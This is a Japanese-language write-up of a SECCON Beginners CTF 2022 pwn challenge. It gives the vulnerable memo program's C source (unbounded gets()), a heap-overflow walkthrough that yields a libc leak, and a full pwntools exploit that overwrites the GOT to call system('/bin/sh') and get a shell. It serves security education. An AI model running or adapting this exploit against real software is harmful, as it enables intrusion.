- Source: SECCON Beginners CTF 2022
- Author: n01e0
連結リストが定義されており、要素の作成と編集が可能なバイナリが与えられる。
src.c
#define DEBUG 1
#include "list.h"
int read_int() {
char buf[0x10];
buf[read(0, buf, 0xf)] = 0;
return atoi(buf);
}
void create() {
Memo* e = malloc(sizeof(Memo)) ;
#if DEBUG
printf("[debug] new memo allocated at %p\n", e);
#endif
if (e == NULL)
err(1, "%s\n", strerror(errno));
printf("Content: ");
gets(e->content);
e->next = NULL;
list_add(e);
}
void edit() {
printf("index: ");
int index = read_int();
Memo *e = list_nth(index);
if (e == NULL) {
puts("Not found...");
return;
}
#if DEBUG
printf("[debug] editing memo at %p\n", e);
#endif
printf("Old content: ");
puts(e->content);
printf("New content: ");
gets(e->content);
}
void show() {
Memo *e = memo_list;
if (e == NULL) {
puts("List empty");
return;
}
puts("\nList of current memos");
puts("-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-");
for (int i = 0; e != NULL; e = e->next) {
#if DEBUG
printf("[debug] memo_list[%d](%p)->content(%p) %s\n", i, e, e->content, e->content);
printf("[debug] next(%p): %p\n", &e->next, e->next);
#else
printf("memo_list[%d] %s\n", i, e->content);
#endif
i++;
}
puts("-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-\n");
}
void menu() {
puts("");
puts("1. Create new memo");
puts("2. Edit existing memo");
puts("3. Show memo");
puts("4. Exit");
}
int main() {
puts("Welcome to memo organizer");
menu();
printf("> ");
int cmd = read_int();
while (1) {
switch (cmd) {
case 1:
create();
break;
case 2:
edit();
break;
case 3:
show();
break;
case 4:
puts("bye!");
exit(0);
default:
puts("Invalid command");
break;
}
menu();
printf("> ");
cmd = read_int();
}
}
__attribute__((constructor))
void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
alarm(60);
}
list.h
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <err.h>
#define CONTENT_SIZE 0x20
typedef struct memo {
struct memo *next;
char content[CONTENT_SIZE];
} Memo;
Memo *memo_list = NULL;
static inline void list_add(Memo *e) {
if (memo_list == NULL) {
memo_list = e;
#if DEBUG
printf("first entry created at %p\n", memo_list);
#endif
} else {
Memo *tail = memo_list;
while (tail->next != NULL)
tail = tail->next;
#if DEBUG
printf("adding entry to %p->next\n", tail);
#endif
tail->next = e;
}
}
static inline Memo *list_nth(int index) {
if (memo_list == NULL)
return NULL;
Memo *cur = memo_list;
int i;
for (i = 0; i != index && cur->next != NULL; ++i, cur = cur->next);
if (i != index)
return NULL;
else
return cur;
}
まずはchecksecする。PIEとRELROが無効。
$ checksec --file=chall
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
No RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 61 Symbols No 0 3 chall
list構造体の定義はこのようになっている。
#define CONTENT_SIZE 0x20
typedef struct memo {
struct memo *next;
char content[CONTENT_SIZE];
} Memo;
実際に触ってみると構造体ヘッダ、next、contentの合計サイズは0x30であることが分かる。
List of current memos
-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
[debug] memo_list[0](0x19432a0)->content(0x19432a8) a
[debug] next(0x19432a0): 0x19432d0
[debug] memo_list[1](0x19432d0)->content(0x19432d8) b
[debug] next(0x19432d0): (nil)
-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
また、edit()で自明なBuffer Overflowがある。
void edit() {
printf("index: ");
int index = read_int();
Memo *e = list_nth(index);
if (e == NULL) {
puts("Not found...");
return;
}
#if DEBUG
printf("[debug] editing memo at %p\n", e);
#endif
printf("Old content: ");
puts(e->content);
printf("New content: ");
gets(e->content);
}
よって、listのnextを任意の場所に飛ばして読み出すことが可能。contentはnext+8に配置されているので、これを用いて任意のGOT-8に飛ばすことでlibcリークができる。
# heap overflow
got_atoi = elf.got["atoi"] # 0x4036a8
log.info(f"got_atoi: {hex(got_atoi)}")
payload = b"A"*0x28
payload += p64(got_atoi-8)
edit(0, payload)
# libc leak
data = show(2)
leak = unpack(data)
log.info(f"leak: {hex(leak)}")
libc_atoi = libc.sym["atoi"]
libc.address = leak - libc_atoi
assert libc.address & 0xfff == 0
log.info(f"libc_base: {hex(libc.address)}")
これでlibcアドレスが得られたので、GOT Overwriteでitoa()をsystem()に飛ばし、/bin/shを入力として与えればシェルが得られると思ったが、バイナリが落ちてしまった。
nextを上書きしたため、show()でlistを辿ると参照に失敗してSIGSEGVを吐いてしまったらしい。show()ではなくedit()のOld contentとして表示される分にはlist末尾まで辿らないため、落ちずに済むようだ。
最終的なexploitはこうなる。
from pwn import *
elf = ELF("./chall")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
context.binary = elf
# context.log_level = "debug"
io = process("./chall")
def create(content):
io.sendlineafter("> ", "1")
io.sendlineafter("Content: ", content)
def edit(idx, content):
io.sendlineafter("> ", "2")
io.sendlineafter("index: ", str(idx))
io.sendlineafter("New content: ", content)
def show(idx):
io.sendlineafter("> ", "2")
io.sendlineafter("index: ", str(idx))
io.recvuntil("Old content: ")
data = io.recvline()[:-1].ljust(8, b"\0")
io.sendlineafter("New content: ", data)
return data
# create note
create("hoge")
create("fuga")
create("piyo")
# heap overflow
got_atoi = elf.got["atoi"] # 0x4036a8
log.info(f"got_atoi: {hex(got_atoi)}")
payload = b"A"*0x28
payload += p64(got_atoi-8)
edit(0, payload)
# libc leak
data = show(2)
leak = unpack(data)
log.info(f"leak: {hex(leak)}")
libc_atoi = libc.sym["atoi"]
libc.address = leak - libc_atoi
assert libc.address & 0xfff == 0
log.info(f"libc_base: {hex(libc.address)}")
# got overwrite
libc_system = libc.sym["system"]
edit(2, p64(libc_system))
io.sendlineafter("> ", "/bin/sh")
io.interactive()
flagが得られた。
$ cat flag.txt
ctf4b{W3lc0m3_t0_th3_jungl3}
ctf4b{W3lc0m3_t0_th3_jungl3}